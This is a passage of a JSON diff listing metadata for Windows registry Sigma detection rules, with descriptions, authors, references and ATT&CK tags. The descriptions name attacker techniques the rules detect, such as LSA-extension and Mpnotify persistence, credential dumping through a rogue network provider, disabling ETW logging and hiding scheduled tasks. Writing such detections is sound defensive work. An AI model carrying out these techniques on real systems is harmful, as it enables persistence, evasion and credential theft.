"2f78da12-f7c7-430b-8b19-a28f269b77a3", + "value": "Disable Winevt Event Logging Via Registry" + }, + { + "description": "Detect set DisallowRun to 1 to prevent user running specific computer program", + "meta": { + "author": "frack113", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disallowrun_execution.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "275641a5-a492-45e2-a817-7c81e9d9d3e9", + "value": "Add DisallowRun Execution to Registry" + }, + { + "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system.\nIt displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disk_cleanup_handler_autorun_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/diskcleanuphandler.html", + "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "d4e2745c-f0c6-4bde-a3ab-b553b3f693cc", + "value": "Persistence Via Disk Cleanup Handler - Autorun" + }, + { + "description": "Detects when a user enables DNS-over-HTTPS.\nThis can be used to hide internet activity or be used to hide the process of exfiltrating data.\nWith this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.\n", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/07/22", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_dns_over_https_enabled.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", + "https://github.com/elastic/detection-rules/issues/1371", + "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", + "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.t1112" + ] + }, + "uuid": "04b45a8a-d11d-49e4-9acc-4a1b524407a5", + "value": "DNS-over-HTTPS Enabled by Registry" + }, + { + "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/05/08", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_dns_serverlevelplugindll.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_serverlevelplugindll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ] + }, + "uuid": "e61e8a88-59a9-451c-874e-70fcc9740d67", + "value": "DNS ServerLevelPluginDll Install" + }, + { + "description": "This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured.", + "meta": { + "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", + "creation_date": "2020/09/10", + "falsepositive": "No established falsepositives", + "filename": "registry_set_enabling_cor_profiler_env_variables.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/jamieantisocial/status/1304520651248668673", + "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", + "https://www.sans.org/cyber-security-summit/archives", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.012" + ] + }, + "uuid": "ad89044a-8f49-4673-9a55-cbd88a1b374f", + "value": "Enabling COR Profiler Environment Variables" + }, + { + "description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability", + "meta": { + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", + "creation_date": "2022/06/15", + "falsepositive": [ + "Administrator actions" + ], + "filename": "registry_set_enabling_turnoffcheck.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "7d995e63-ec83-4aa3-89d5-8a17b5c87c86", + "value": "Scripted Diagnostics Turn Off Check Enabled - Registry" + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/06/05", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_etw_disabled.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_etw_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "bf4fc428-dcc3-4bbd-99fe-2422aeee2544", + "value": "COMPlus_ETWEnabled Registry Modification" + }, + { + "description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_exploit_guard_susp_allowed_apps.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "42205c73-75c8-4a63-9db1-e3782e06fda0", + "value": "Suspicious Application Allowed Through Exploit Guard" + }, + { + "description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.", + "meta": { + "author": "frack113", + "creation_date": "2022/07/17", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_fax_change_service_user.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "e3fdf743-f05b-4051-990a-b66919be1743", + "value": "Change User Account Associated with the FAX Service" + }, + { + "description": "Detect possible persistence using Fax DLL load when service restart", + "meta": { + "author": "frack113", + "creation_date": "2022/07/17", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_fax_dll_persistance.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "9e3357ba-09d4-4fbd-a7c5-ad6386314513", + "value": "Change the Fax Dll" + }, + { + "description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.", + "meta": { + "author": "Andreas Hunkeler (@Karneades)", + "creation_date": "2021/11/19", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_file_association_exefile.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1461041276514623491", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "44a22d59-b175-4f13-8c16-cbaef5b581ff", + "value": "New File Association Using Exefile" + }, + { + "description": "Detects persistence using GlobalFlags in image file execution options", + "meta": { + "author": "Karneades, Jonhnathan Ribeiro", + "creation_date": "2018/04/11", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_globalflags_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_globalflags_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.defense_evasion", + "attack.t1546.012", + "car.2013-01-002" + ] + }, + "uuid": "36803969-5421-41ec-b92f-8500f79c23b0", + "value": "GlobalFlags Registry Persistence Mechanisms" + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "This value is not set by default but could be rarly used by administrators" + ], + "filename": "registry_set_hangs_debugger_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/wer_debugger.html", + "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "833ef470-fa01-4631-a79b-6f291c9ac498", + "value": "Add Debugger Entry To Hangs Key For Persistence" + }, + { + "description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_hhctrl_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/hhctrl.html", + "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "f10ed525-97fe-4fed-be7c-2feecca941b1", + "value": "Persistence Via Hhctrl.ocx" + }, + { + "description": "Hides the file extension through modification of the registry", + "meta": { + "author": "frack113", + "creation_date": "2022/01/22", + "falsepositive": [ + "Administrative scripts" + ], + "filename": "registry_set_hidden_extention.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd", + "https://unit42.paloaltonetworks.com/ransomware-families/", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ] + }, + "uuid": "5df86130-4e95-4a54-90f7-26541b40aec2", + "value": "Registry Modification to Hidden File Extension" + }, + { + "description": "Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.", + "meta": { + "author": "frack113", + "creation_date": "2022/04/02", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_hide_file.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ] + }, + "uuid": "5a5152f1-463f-436b-b2f5-8eceb3964b42", + "value": "Modification of Explorer Hidden Keys" + }, + { + "description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)", + "meta": { + "author": "frack113", + "creation_date": "2022/03/18", + "falsepositive": [ + "Legitimate admin script" + ], + "filename": "registry_set_hide_function_user.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "5a93eb65-dffa-4543-b761-94aa60098fb6", + "value": "Registry Hide Function from User" + }, + { + "description": "Detects when the \"index\" value of a scheduled task is modified from the registry\nWhich effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/26", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_hide_scheduled_task_via_index_tamper.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "5b16df71-8615-4f7f-ac9b-6c43c0509e61", + "value": "Hide Schedule Task Via Index Value Tamper" + }, + { + "description": "Detects the modification of the registry settings used for Internet Explorer and other Windows components that use these settings", + "meta": { + "author": "frack113", + "creation_date": "2022/01/22", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_ie_persistence.yml", + "level": "low", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "d88d0ab2-e696-4d40-a2ed-9790064e66b3", + "value": "Modification of IE Registry Settings" + }, + { + "description": "Detects when an attacker register a new IFilter for an exntesion. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Legitimate registration of IFilters by the OS or software" + ], + "filename": "registry_set_ifilter_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/ifilters.html", + "https://twitter.com/0gtweet/status/1468548924600459267", + "https://github.com/gtworek/PSBits/tree/master/IFilter", + "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ifilter_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "b23818c7-e575-4d13-8012-332075ec0a2b", + "value": "Register New IFiltre For Persistence" + }, + { + "description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry", + "meta": { + "author": "frack113", + "creation_date": "2022/04/04", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_install_root_or_ca_certificat.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "d223b46b-5621-4037-88fe-fda32eead684", + "value": "New Root or CA or AuthRoot Certificate to Store" + }, + { + "description": "Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any\nanomalous executables with suspicious arguments. The downloaded file will be in C:\\Users\\redacted\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdaterreSignInSettingsConfig.json\n", + "meta": { + "author": "frack113", + "creation_date": "2022/05/28", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_lolbin_onedrivestandaloneupdater.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "3aff0be0-7802-4a7e-a4fa-c60c74bc5e1d", + "value": "Lolbas OneDriveStandaloneUpdater.exe Proxy Download" + }, + { + "description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_lsa_extension_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/lsaaextension.html", + "https://twitter.com/0gtweet/status/1476286368385019906", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_extension_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "41f6531d-af6e-4c6e-918f-b946f2b85a36", + "value": "Persistence Via LSA Extensions" + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "meta": { + "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2017/11/10", + "falsepositive": "No established falsepositives", + "filename": "registry_set_mal_adwind.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ] + }, + "uuid": "42f0e038-767e-4b85-9d96-2c6335bad0b5", + "value": "Adwind RAT / JRAT" + }, + { + "description": "Attempts to detect system changes made by Blue Mockingbird", + "meta": { + "author": "Trent Liffick (@tliffick)", + "creation_date": "2020/05/14", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_mal_blue_mockingbird.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_blue_mockingbird.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112", + "attack.t1047" + ] + }, + "uuid": "92b0b372-a939-44ed-a11b-5136cf680e27", + "value": "Blue Mockingbird" + }, + { + "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way" + ], + "filename": "registry_set_mpnotify_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/mpnotify.html", + "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mpnotify_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "92772523-d9c1-4c93-9547-b0ca500baba3", + "value": "Persistence Via Mpnotify" + }, + { + "description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "This rule is to explore new applications on an endpoint. False positives depends on the organization.", + "Newly setup system.", + "Legitimate installation of new application." + ], + "filename": "registry_set_new_application_appcompat.yml", + "level": "informational", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/1", + "https://threathunterplaybook.com/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "60936b49-fca0-4f32-993d-7415edcf9a5d", + "value": "New Application in AppCompat" + }, + { + "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/23", + "falsepositive": [ + "Other legitimate network providers used and not filtred in this rule" + ], + "filename": "registry_set_new_network_provider.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "0442defa-b4a2-41c9-ae2c-ea7042fc4701", + "value": "New Network Provider - Registry" + }, + { + "description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/26", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_office_enable_dde.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.002" + ] + }, + "uuid": "63647769-326d-4dde-a419-b925cc0caf42", + "value": "Enable Microsoft Dynamic Data Exchange" + }, + { + "description": "Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)", + "meta": { + "author": "Trent Liffick (@tliffick)", + "creation_date": "2020/05/22", + "falsepositive": [ + "Valid Macros and/or internal documents" + ], + "filename": "registry_set_office_security.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/inversecos/status/1494174785621819397", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd", + "value": "Office Security Settings Changed" + }, + { + "description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/01/10", + "falsepositive": [ + "Legitimate Addin Installation" + ], + "filename": "registry_set_office_vsto_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_vivami/status/1347925307643355138", + "https://vanmieghem.io/stealth-outlook-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vsto_persistence.yml" + ], + "tags": [ + "attack.t1137.006", + "attack.persistence" + ] + }, + "uuid": "9d15044a-7cfe-4d23-8085-6ebc11df7685", + "value": "Stealthy VSTO Persistence" + }, + { + "description": "Detects the modification of Outlook Security Setting to allow unprompted execution. Goes with win_outlook_c2_macro_creation.yml and is particularly interesting if both events occur near to each other.", + "meta": { + "author": "@ScoubiMtl", + "creation_date": "2021/04/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_outlook_c2_registry_key.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_c2_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.command_and_control", + "attack.t1137", + "attack.t1008", + "attack.t1546" + ] + }, + "uuid": "e3b50fa5-3c3f-444e-937b-0a99d33731cd", + "value": "Outlook C2 Registry Key" + }, + { + "description": "Detects the manipulation of persistent URLs which could execute malicious code", + "meta": { + "author": "Tobias Michalski", + "creation_date": "2021/06/10", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_outlook_registry_todaypage.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_todaypage.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ] + }, + "uuid": "487bb375-12ef-41f6-baae-c6a1572b4dd1", + "value": "Persistent Outlook Landing Pages" + }, + { + "description": "Detects the manipulation of persistent URLs which can be malicious", + "meta": { + "author": "Tobias Michalski", + "creation_date": "2021/06/09", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_outlook_registry_webview.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", + "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_webview.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ] + }, + "uuid": "ddd171b5-2cc6-4975-9e78-f0eccd08cc76", + "value": "Persistent Outlook Landing Pages" + }, + { + "description": "Change outlook email security settings", + "meta": { + "author": "frack113", + "creation_date": "2021/12/28", + "falsepositive": [ + "Administrative scripts" + ], + "filename": "registry_set_outlook_security.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + 